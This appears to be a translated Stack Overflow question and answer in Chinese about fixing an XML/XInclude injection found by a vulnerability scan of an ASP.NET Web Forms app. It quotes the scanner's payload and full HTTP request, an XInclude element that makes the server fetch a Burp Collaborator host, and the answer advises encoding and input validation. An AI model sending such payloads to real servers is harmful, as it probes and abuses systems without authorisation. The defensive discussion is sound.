首页 > 解决方案 > 如何防止 XML 注入

问题描述

我收到了一份漏洞报告。

XML 被注入到 URL“XInclude”中。我试图找到一个验证来阻止 XML 被执行。我的 Web 应用程序是使用带有 Web 表单的 Visual Studio C# 构建的。

我正在考虑从 web.config 或 IIS 验证这一点。我不确定是否必须添加代码来验证或解析 XML。


问题详情:

URL 路径文件名似乎容易受到 XML 注入的影响。有效载荷:

<mhx xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo"/></mhx>

被发送到服务器。此有效负载包含一些引用外部域上的 URL 的 XML。应用程序与该域交互,表明解析器处理了注入的 XML。


要求

GET /Edit/Employee/%3cmhx%20xmlns%3axi%3d%22http%3a//www.w3.org/2001/XInclude%22%3e%3cxi%3ainclude%20href%3d%22http%3a//o6vsilg7waiopz0impyw3z2cn3twho5ptgl3br0.burpcollaborator.net/foo%22/%3e%3c/mhx%3e?RequestId=428 HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Connection: close

标签: c#asp.netxmlsecuritywebforms

解决方案


您没有在问题中包含代码的相关部分,也没有添加太多上下文,因此无法比下面更准确地回答。

  1. 您需要正确编码(使用 XML 编码)参数,然后再将其写入 xml 文件,然后再进行处理。编码是您的第一道防线。不幸的是,这在 C# 中一点也不简单,并且取决于用户输入在 XML 中的确切位置。

  2. 除此之外,您应该验证您的输入。在上面的 URL 中,我猜你期望的是一个 Employee id,可能是一个数字。如果它是一个数字,您应该在使用它之前验证它。如果它不是数字,您可能仍然可以验证它(例如长度、字符集、格式),以便不会处理格式错误的输入。

这两个(嗯,很可能甚至其中之一)可以防止漏洞。


推荐阅读